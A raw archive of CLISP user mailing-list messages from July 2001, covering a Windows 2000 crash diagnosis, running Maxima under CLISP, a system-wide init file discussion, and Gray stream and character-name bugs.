The machine has given me once a = "blue-screen-of-death" with the following message: = IRQL_NOT_LESS_OR_EQUAL.


One might try to jump to the conclusion that it is = the LISP program.  I have the SAME
LISP program running on 4 different boxs.  1. = 333 MHZ K6-2 Machine - Wind 2000 SP2,
2. 800 MHZ AMD - Wind 2000 SP2, 3.  266 MHZ P2 = - Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000.

These boxs runs for Days/weeks at a time..  The = new box has yet to last 24 hours. 
If it helps - the application is CPU bound -- All = i/o is accomplished though redirection.

The current box is Wind 2000 SP2.

I'm using clisp-win32-2.26.

What do you think?  I'm in a tight spot, I have = a machine in it's current state is
a paper weight!


Randy Justice

------_=_NextPart_001_01C10AEA.C0280DC0-- From rrschulz@cris.com Thu Jul 12 09:02:31 2001 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Kiv7-0007PO-00 for ; Thu, 12 Jul 2001 09:02:29 -0700 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id f6CG27R11446 ; Thu, 12 Jul 2001 12:02:07 -0400 (EDT) Received: from Clemens.cris.com (da003d1411.sjc-ca.osd.concentric.net [64.1.5.132]) by mcfeely.concentric.net (8.9.1a) id MAA00354; Thu, 12 Jul 2001 12:01:45 -0400 (EDT) Message-Id: <5.1.0.14.2.20010712085728.026a4ec8@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 12 Jul 2001 09:02:16 -0700 To: "Justice, Randy -CONT(DYN)" , clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Lisp program Crash... In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Randy, By definition, if the machine crashes, applications must be held blameless--at least in a "real" operating system environment with protected memory. If you were running Windows 9x, the story might be different, but not under Win2K (any variety). Now, if the "application" in question installed drivers or any code that executed in a privileged mode, then it would have to be considered as a potential source of the problem, but not a pure application-level program. The most likely problem, given the relatively stock nature of your overall configuration, is hardware. For what it's worth, you have my sympathies, since I have a high-end desktop that is exhibiting similar symptoms--and boy, am I peeved! Randall Schulz Mountain View, CA USA At 08:53 2001-07-12, you wrote: >Please excuse me, this question is not a total LISP question... > >I recently purchased a dual 1.2 GHZ AMD Server. > >I purchased the box to one main reason - to execute long running >LISP programs. The lisp programs needs to run for weeks at a time. > >I installed three products on the box: Office 2000 Pro, WinZip 8, and CLISP. > >The general symptom and dies with the following message in >the event viewer: >Event Type: Information >Event Source: Save Dump >Event Category: None >Event ID: 1001 >Date: 7/11/2001 >Time: 8:52:16 PM >User: N/A >Computer: MPI-0WSES7UYOXH >Description: >The computer has rebooted from a bugcheck. The bugcheck was: 0x00000050 >(0xec01373d, 0x00000000, 0xec01373d, 0x00000002). Microsoft Windows 2000 >[v15.2195]. A dump was saved in: C:\WINNT\Minidump\Mini071101-03.dmp. > >I have seen the program execute for a few minutes to 10-12 hours before dying. > >The machine has given me once a "blue-screen-of-death" with the following >message: IRQL_NOT_LESS_OR_EQUAL. > >One might try to jump to the conclusion that it is the LISP program. I >have the SAME LISP program running on 4 different boxs. 1. 333 MHZ K6-2 >Machine - Wind 2000 SP2, 2. 800 MHZ AMD - Wind 2000 SP2, 3. 266 MHZ P2 - >Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000. > >These boxs runs for Days/weeks at a time.. The new box has yet to last 24 >hours. If it helps - the application is CPU bound -- All i/o is >accomplished though redirection. > >The current box is Wind 2000 SP2. > >I'm using clisp-win32-2.26. > >What do you think? I'm in a tight spot, I have a machine in it's current >state is a paper weight! > >Randy Justice From amundson@fnal.gov Thu Jul 12 09:17:57 2001 Received: from abacus.dhcp.fnal.gov ([131.225.248.13] helo=abacus.fnal.gov) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KjA5-0002PR-00 for ; Thu, 12 Jul 2001 09:17:57 -0700 Received: from fnal.gov (IDENT:amundson@localhost.localdomain [127.0.0.1]) by abacus.fnal.gov (8.11.0/8.11.0) with ESMTP id f6CGHog17005; Thu, 12 Jul 2001 11:17:51 -0500 Message-ID: <3B4DCDAE.548C01D1@fnal.gov> Date: Thu, 12 Jul 2001 11:17:50 -0500 From: James Amundson Organization: CD/ODS X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19-7.0.1 i686) X-Accept-Language: en MIME-Version: 1.0 To: "Lizardo H. C. M. Nunes" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Maxima using CLISP References: <200107120430.BAA23493@xena.urbi.com.br> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: "Lizardo H. C. M. Nunes" wrote: > > Hi, > > I'm trying to port "Maxima 5.6" using "clisp 2.25.1". > After editing the file "../src/ suprv1.lisp" I simply typed: > > #cd src > #make clisp-compile CLISP=clisp > and it compiles without errors... > > I want to know what I should do next. If somebody already used CLISP to port > Maxima and wants to give me a hand, I'd really appreciate. You want to do "clisp -M maxima-clisp.mem". Here's an example: --------------------------------------------------------- |abacus>clisp -M maxima-clisp.mem i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999 Maxima 5.6 Tue Jul 10 15:41:45 CDT 2001 (with enhancements by W. Schelter). Licensed under the GNU Public License (see file COPYING) (C1) integrate(sin(x),x); (D1) - COS(x) (C2) quit(); Bye. |abacus> --------------------------------------------------------- You will probably also want to try "make test-clisp", which should give you a great deal of text, ending with ---------------------------------------- ..Which was correct Congratulations: No differences! No Errors Found Real time: 19.924162f0 sec. Run time: 7.92f0 sec. Space: 24513380 Bytes GC: 36, GC time: 0.76f0 sec. ---------------------------------------- I hope this helps. --Jim From stig@ii.uib.no Thu Jul 12 09:42:58 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KjYG-0007pY-00 for ; Thu, 12 Jul 2001 09:42:56 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15KjYD-00002k-00 ; Thu, 12 Jul 2001 18:42:53 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.9.3+Sun/8.9.3) id SAA28139; Thu, 12 Jul 2001 18:42:52 +0200 (MEST) Date: Thu, 12 Jul 2001 18:42:52 +0200 From: Stig E Sandoe To: Sam Steingold Cc: Stig E Sandoe , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? Message-ID: <20010712184252.A27015@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , Sam Steingold , clisp-list@lists.sourceforge.net References: <20010712023420.A11913@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Jul 12, 2001 at 10:20:31AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Quoting Sam Steingold (sds@gnu.org): | > * In message <20010712023420.A11913@apal.ii.uib.no> | > * On the subject of "[clisp-list] 2.27?" | > * Sent on Thu, 12 Jul 2001 02:34:20 +0200 | > * Honorable Stig E Sandoe writes: | > | > noting that many nice updates have been made in CVS lately over the | > 2.26.1 release. Any plans for a 2.27 release to keep the good pace in | > releases this spring? | | yes - wonna help? | There are lots of things you could do. what is needed? | > A slightly unrelated question though, how easy would it be to add | > support for clisp reading a system-wide config-file (e.g /etc/clisprc) | > on startup (like ~/.clisprc is read)? I have currently used a nasty | > hack to make this work on Debian, but such functionality can be useful | > for others as well I presume. | | Use saveinitmem instead. The reason for /etc/profile and /etc/cshrc is | that they do not have this capability. | | Put whatever you like into /etc/clisprc, then do | # clisp -i /etc/clisprc -x '(saveinitmem)' | # mv lispinit.mem /usr/local/lib/clisp/base/ | # clisp -K full -i /etc/clisprc -x '(saveinitmem)' | # mv lispinit.mem /usr/local/lib/clisp/full/ I tried this, but it didn't save all state properly, but you might have fixed that when you updated the ANSI-behaviour when saving state. | Better yet, put whatever you like into config.lisp before doing make. The /etc/clisprc should be updatable and usable imho without recompiling everything. | Implementing your proposal would require adding --no-site-init command | line option (or making -norc ignore /etc/clisprc too), it would also | require --site-init configure option. | BTW, where it /etc/clisprc on win32? atari? acorn? On win32 it is eithe c:\etc\clisprc or c:\windows\clisprc On atari or acorn I don't know. | I am not saying that this will not or cannot be done, but this is less | trivial and not as necessary as you appear to assume. I think it will be useful for installations on multi-user systems. The current hack does this to make this possible now: -x "(progn (ext:saveinitmem \"/usr/lib/clisp/base/lispinit.mem\" :quiet nil :init-function #'(lambda () (load \"/etc/clisprc\"))) (quit))" Which is just a hack. -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From Bernard.Urban@meteo.fr Thu Jul 12 10:20:26 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Kk8W-0007CS-00 for ; Thu, 12 Jul 2001 10:20:24 -0700 To: clisp-list@lists.sourceforge.net Bcc: From: Bernard Urban Date: 12 Jul 2001 21:20:10 +0200 Message-ID: <87hewivtsl.fsf@merceron.meteo.fr> Lines: 69 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] inconsistency between gray streams and write-float Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Here a clisp-2.25 session, about implementing a gray stream which output is a vector of bytes: [1]> (defclass my-byte-vector-stream (lisp:fundamental-binary-output-stream) ((vec :accessor stream-vec :initform (make-array 100 :element-type '(unsigned-byte 8) :adjustable t :fill-pointer 0)))) # [2]> (defmethod lisp:stream-write-byte ((s my-byte-vector-stream) (byte integer)) (vector-push-extend byte (stream-vec s) 100)) WARNING: The generic function # is being modified, but has already been called. # #)> [3]> (defvar my-stream (make-instance 'my-byte-vector-stream)) MY-STREAM [4]> (lisp:write-byte 56 my-stream) 56 [5]> (stream-vec my-stream) ;;; all is fine until here #(56) [6]> (lisp:write-float (atan 1) my-stream 'single-float :big) 0.7853981 [7]> (stream-vec my-stream) #(56 0 0 1 1) [8]> (lisp:write-float 0.5e0 my-stream 'single-float :big) 0.5 [9]> (stream-vec my-stream) #(56 0 0 1 1 0 0 1 1) It is impossible that (0 0 1 1) is the IEEE representation of both 0.5 and (atan 1)... I discovered that write-float outputs not a sequence of 4 or 8 bytes, but a sequence of 32 or 64 bits. So to solve the problem, instead of using the default stream-write-byte-sequence, I must write something ugly: [10]> (defmethod lisp:stream-write-byte-sequence ((s my-byte-vector-stream) (seq bit-vector) &optional (start 0) (end nil)) (dotimes (n (/ (length seq) 8)) (do ((i (* 8 n) (+ i 1)) (z 0 (+ (* 2 z) (sbit seq i)))) ((>= i (* 8 (+ n 1))) (lisp:stream-write-byte s z))))) WARNING: The generic function # is being modified, but has already been called. # #)> [11]> (lisp:write-float (atan 1) my-stream 'single-float :big) 0.7853981 [12]> (stream-vec my-stream) #(56 0 0 1 1 0 0 1 1 63 73 15 218) [13]> which is correct. I will try read-float this evening... -- Bernard Urban From Randy.Justice@cnet.navy.mil Thu Jul 12 10:30:41 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KkHy-0000fO-00 for ; Thu, 12 Jul 2001 10:30:10 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA03875; Thu, 12 Jul 2001 12:29:25 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <3QD33B5N>; Thu, 12 Jul 2001 12:29:41 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'Randall R Schulz'" , "Justice, Randy -CONT(DYN)" , clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Lisp program Crash... Date: Thu, 12 Jul 2001 12:29:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C10AF8.3B3327E0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C10AF8.3B3327E0 Content-Type: text/plain; charset="iso-8859-1" FYI. I have found a program called "BurnInTest" at http://www.passmark.com. I plan to execute it for the next 4/5 days.. Randy -----Original Message----- From: Randall R Schulz [mailto:rrschulz@cris.com] Sent: Thursday, July 12, 2001 11:02 AM To: Justice, Randy -CONT(DYN); clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp program Crash... Randy, By definition, if the machine crashes, applications must be held blameless--at least in a "real" operating system environment with protected memory. If you were running Windows 9x, the story might be different, but not under Win2K (any variety). Now, if the "application" in question installed drivers or any code that executed in a privileged mode, then it would have to be considered as a potential source of the problem, but not a pure application-level program. The most likely problem, given the relatively stock nature of your overall configuration, is hardware. For what it's worth, you have my sympathies, since I have a high-end desktop that is exhibiting similar symptoms--and boy, am I peeved! Randall Schulz Mountain View, CA USA At 08:53 2001-07-12, you wrote: >Please excuse me, this question is not a total LISP question... > >I recently purchased a dual 1.2 GHZ AMD Server. > >I purchased the box to one main reason - to execute long running >LISP programs. The lisp programs needs to run for weeks at a time. > >I installed three products on the box: Office 2000 Pro, WinZip 8, and CLISP. > >The general symptom and dies with the following message in >the event viewer: >Event Type: Information >Event Source: Save Dump >Event Category: None >Event ID: 1001 >Date: 7/11/2001 >Time: 8:52:16 PM >User: N/A >Computer: MPI-0WSES7UYOXH >Description: >The computer has rebooted from a bugcheck. The bugcheck was: 0x00000050 >(0xec01373d, 0x00000000, 0xec01373d, 0x00000002). Microsoft Windows 2000 >[v15.2195]. A dump was saved in: C:\WINNT\Minidump\Mini071101-03.dmp. > >I have seen the program execute for a few minutes to 10-12 hours before dying. > >The machine has given me once a "blue-screen-of-death" with the following >message: IRQL_NOT_LESS_OR_EQUAL. > >One might try to jump to the conclusion that it is the LISP program. I >have the SAME LISP program running on 4 different boxs. 1. 333 MHZ K6-2 >Machine - Wind 2000 SP2, 2. 800 MHZ AMD - Wind 2000 SP2, 3. 266 MHZ P2 - >Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000. > >These boxs runs for Days/weeks at a time.. The new box has yet to last 24 >hours. If it helps - the application is CPU bound -- All i/o is >accomplished though redirection. > >The current box is Wind 2000 SP2. > >I'm using clisp-win32-2.26. > >What do you think? I'm in a tight spot, I have a machine in it's current >state is a paper weight! > >Randy Justice ------_=_NextPart_001_01C10AF8.3B3327E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] Lisp program Crash...

FYI.

I have found a program called "BurnInTest" = at http://www.passmark.com.
I plan to execute it for the next 4/5 days..

Randy


-----Original Message-----
From: Randall R Schulz [mailto:rrschulz@cris.com]
Sent: Thursday, July 12, 2001 11:02 AM
To: Justice, Randy -CONT(DYN); = clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] Lisp program = Crash...


Randy,

By definition, if the machine crashes, applications = must be held
blameless--at least in a "real" operating = system environment with protected
memory. If you were running Windows 9x, the story = might be different, but
not under Win2K (any variety).

Now, if the "application" in question = installed drivers or any code that
executed in a privileged mode, then it would have to = be considered as a
potential source of the problem, but not a pure = application-level program.

The most likely problem, given the relatively stock = nature of your overall
configuration, is hardware.

For what it's worth, you have my sympathies, since I = have a high-end
desktop that is exhibiting similar symptoms--and = boy, am I peeved!

Randall Schulz
Mountain View, CA USA


At 08:53 2001-07-12, you wrote:

>Please excuse me, this question is not a total = LISP question...
>
>I recently purchased a dual 1.2 GHZ AMD = Server.
>
>I purchased the box to one main reason - to = execute long running
>LISP programs. The lisp programs needs to run = for weeks at a time.
>
>I installed three products on the box: Office = 2000 Pro, WinZip 8, and CLISP.
>
>The general symptom and dies with the following = message in
>the event viewer:
>Event Type:     = Information
>Event Source:   Save Dump
>Event Category: None
>Event ID:       = 1001
>Date:         =   7/11/2001
>Time:         =   8:52:16 PM
>User:         =   N/A
>Computer:       = MPI-0WSES7UYOXH
>Description:
>The computer has rebooted from a bugcheck.  = The bugcheck was: 0x00000050
>(0xec01373d, 0x00000000, 0xec01373d, = 0x00000002). Microsoft Windows 2000
>[v15.2195]. A dump was saved in: = C:\WINNT\Minidump\Mini071101-03.dmp.
>
>I have seen the program execute for a few = minutes to 10-12 hours before dying.
>
>The machine has given me once a = "blue-screen-of-death" with the following
>message: IRQL_NOT_LESS_OR_EQUAL.
>
>One might try to jump to the conclusion that it = is the LISP program.  I
>have the SAME LISP program running on 4 = different boxs.  1. 333 MHZ K6-2
>Machine - Wind 2000 SP2, 2. 800 MHZ AMD - Wind = 2000 SP2, 3.  266 MHZ P2 -
>Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000.
>
>These boxs runs for Days/weeks at a time..  = The new box has yet to last 24
>hours. If it helps - the application is CPU = bound -- All i/o is
>accomplished though redirection.
>
>The current box is Wind 2000 SP2.
>
>I'm using clisp-win32-2.26.
>
>What do you think?  I'm in a tight spot, I = have a machine in it's current
>state is a paper weight!
>
>Randy Justice

------_=_NextPart_001_01C10AF8.3B3327E0-- From sds@gnu.org Thu Jul 12 13:17:33 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Kmtx-000099-00 for ; Thu, 12 Jul 2001 13:17:33 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA01462; Thu, 12 Jul 2001 16:17:30 -0400 (EDT) X-Envelope-To: To: Stig E Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? References: <20010712023420.A11913@apal.ii.uib.no> <20010712184252.A27015@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010712184252.A27015@apal.ii.uib.no> Date: 12 Jul 2001 16:16:14 -0400 Message-ID: Lines: 80 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010712184252.A27015@apal.ii.uib.no> > * On the subject of "Re: [clisp-list] 2.27?" > * Sent on Thu, 12 Jul 2001 18:42:52 +0200 > * Honorable Stig E Sandoe writes: > > | yes - wonna help? > | There are lots of things you could do. > what is needed? 1. get the current CVS CLISP and thoroughly test it. 2. try to reproduce the "help is not working" bug reported recently and try to track it down. 3. http://sourceforge.net/tracker/index.php?func=detail&aid=429129&group_id=1355&atid=101355 > | > A slightly unrelated question though, how easy would it be to add > | > support for clisp reading a system-wide config-file (e.g /etc/clisprc) > | > on startup (like ~/.clisprc is read)? I have currently used a nasty > | > hack to make this work on Debian, but such functionality can be useful > | > for others as well I presume. > | > | Use saveinitmem instead. The reason for /etc/profile and /etc/cshrc is > | that they do not have this capability. > | > | Put whatever you like into /etc/clisprc, then do > | # clisp -i /etc/clisprc -x '(saveinitmem)' > | # mv lispinit.mem /usr/local/lib/clisp/base/ > | # clisp -K full -i /etc/clisprc -x '(saveinitmem)' > | # mv lispinit.mem /usr/local/lib/clisp/full/ > > I tried this, but it didn't save all state properly, but you might have > fixed that when you updated the ANSI-behaviour when saving state. this should be fixed in the CVS > | Better yet, put whatever you like into config.lisp before doing make. > > The /etc/clisprc should be updatable and usable imho without > recompiling everything. just dump an image. > | Implementing your proposal would require adding --no-site-init command > | line option (or making -norc ignore /etc/clisprc too), it would also > | require --site-init configure option. > | BTW, where it /etc/clisprc on win32? atari? acorn? > > On win32 it is eithe c:\etc\clisprc or c:\windows\clisprc yuck! I don't have either! > On atari or acorn I don't know. so, where should we look on those platforms? it this (dubious) feature will be implemented, we will probably be loading a file in the lib-directory (see http://clisp.cons.org/clisp.html#opt-libdir) > | I am not saying that this will not or cannot be done, but this is less > | trivial and not as necessary as you appear to assume. > > I think it will be useful for installations on multi-user systems. > > The current hack does this to make this possible now: > -x "(progn (ext:saveinitmem \"/usr/lib/clisp/base/lispinit.mem\" :quiet nil > :init-function #'(lambda () (load \"/etc/clisprc\"))) (quit))" > > Which is just a hack. looks fine to me, although I would recommend clisp -x '(saveinitmem "foo" :init-function (lambda () (load "/etc/clisprc" :if-does-not-exist nil)))' -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Daddy, why doesn't this magnet pick up this floppy disk? From haible@ilog.fr Fri Jul 13 11:58:57 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15L89P-0005Gy-00 for ; Fri, 13 Jul 2001 11:58:55 -0700 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.4/8.11.4) with ESMTP id f6DIwN900328 for ; Fri, 13 Jul 2001 20:58:23 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.79]) by laposte.ilog.fr (8.11.3/8.11.3) with ESMTP id f6DIwe421666; Fri, 13 Jul 2001 20:58:40 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id UAA30609; Fri, 13 Jul 2001 20:52:39 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.17196.122174.985830@honolulu.ilog.fr> Date: Fri, 13 Jul 2001 20:51:24 +0200 (CEST) To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: 2.27? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Stig E. Sandoe wrote: > A slightly unrelated question though, how easy would it be to add support > for clisp reading a system-wide config-file (e.g /etc/clisprc) on startup > (like ~/.clisprc is read)? I have currently used a nasty hack to make > this work on Debian, but such functionality can be useful for others as > well I presume. In practice, such system-wide config files (like /etc/profile) have the property of annoying more users than of being useful to them. What can /etc/clisprc do that $HOME/.clisprc and saveinitmem cannot? - If you are a democratic sysadmin or Lisp course teacher, you can tell your users or students to create a $HOME/.clisprc containing the line (load "/etc/clisprc") - If you are a fascist sysadmin, you can add this line to your users' $HOME/.clisprc without asking them. :-) - If you are a Linux distributor, you can add your stuff to config.lisp before building clisp. It will then end up in the memory images automatically. Bruno From toy@rtp.ericsson.se Fri Jul 13 12:18:18 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15L8S9-0001A9-00 for ; Fri, 13 Jul 2001 12:18:17 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f6DJIFp16096 for ; Fri, 13 Jul 2001 14:18:15 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f6DJIFl05601 for ; Fri, 13 Jul 2001 14:18:15 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Fri Jul 13 14:18:03 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.82.5]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id PAA13448 for ; Fri, 13 Jul 2001 15:18:38 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id PAA29770; Fri, 13 Jul 2001 15:18:02 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List From: Raymond Toy Date: 13 Jul 2001 15:18:01 -0400 Message-ID: <4nu20gljti.fsf@rtp.ericsson.se> Lines: 16 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] (code-char 160) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Clisp 2.26 on solaris says: (code-char 160) #\NO-BREAK_SPACE But there doesn't seem to be any such character. If I try to type #\NO-BREAK_SPACE into the listener, it complains: #\NO-BREAK_SPACE *** - READ from # #>: there is no character bit with name "NO" This doesn't happen with (code-char 161) Ray From nelnel@macau.ctm.net Sat Jul 14 08:31:30 2001 Received: from ctmsun4.macau.ctm.net ([202.175.36.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15LROC-0001I7-00 for ; Sat, 14 Jul 2001 08:31:29 -0700 Received: from nelnel (n4z78l122.broadband.ctm.net [202.175.78.122]) by ctmsun4.macau.ctm.net (8.9.3/8.9.3) with SMTP id XAA14377; Sat, 14 Jul 2001 23:31:21 +0800 (HKT) Date: Sat, 14 Jul 2001 23:31:21 +0800 (HKT) Message-ID: <000001c10c7a$7c261ae0$ba4cfea9@nelnel> From: "nelnel" To: , , , , MIME-Version: 1.0 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [clisp-list] Help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Help From ampy@crosswinds.net Sun Jul 15 05:38:05 2001 Received: from out-mx1.crosswinds.net ([209.208.163.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Ll9w-0001cc-00 for ; Sun, 15 Jul 2001 05:38:04 -0700 Received: from member-mx1.crosswinds.net (member-mx1.crosswinds.net [209.208.163.43]) by out-mx1.crosswinds.net (Postfix) with ESMTP id C8BB25D048 for ; Sun, 15 Jul 2001 08:38:02 -0400 (EDT) Received: from 212.16.216.100 (unknown [212.16.216.100]) by member-mx1.crosswinds.net (Postfix) with ESMTP id 7EC654CA24 for ; Sun, 15 Jul 2001 08:37:59 -0400 (EDT) Date: Sun, 15 Jul 2001 23:45:44 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.36) S/N 345 Reply-To: Arseny Slobodjuck X-Priority: 3 (Normal) Message-ID: <13990.010715@crosswinds.net> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] some patches Sender: 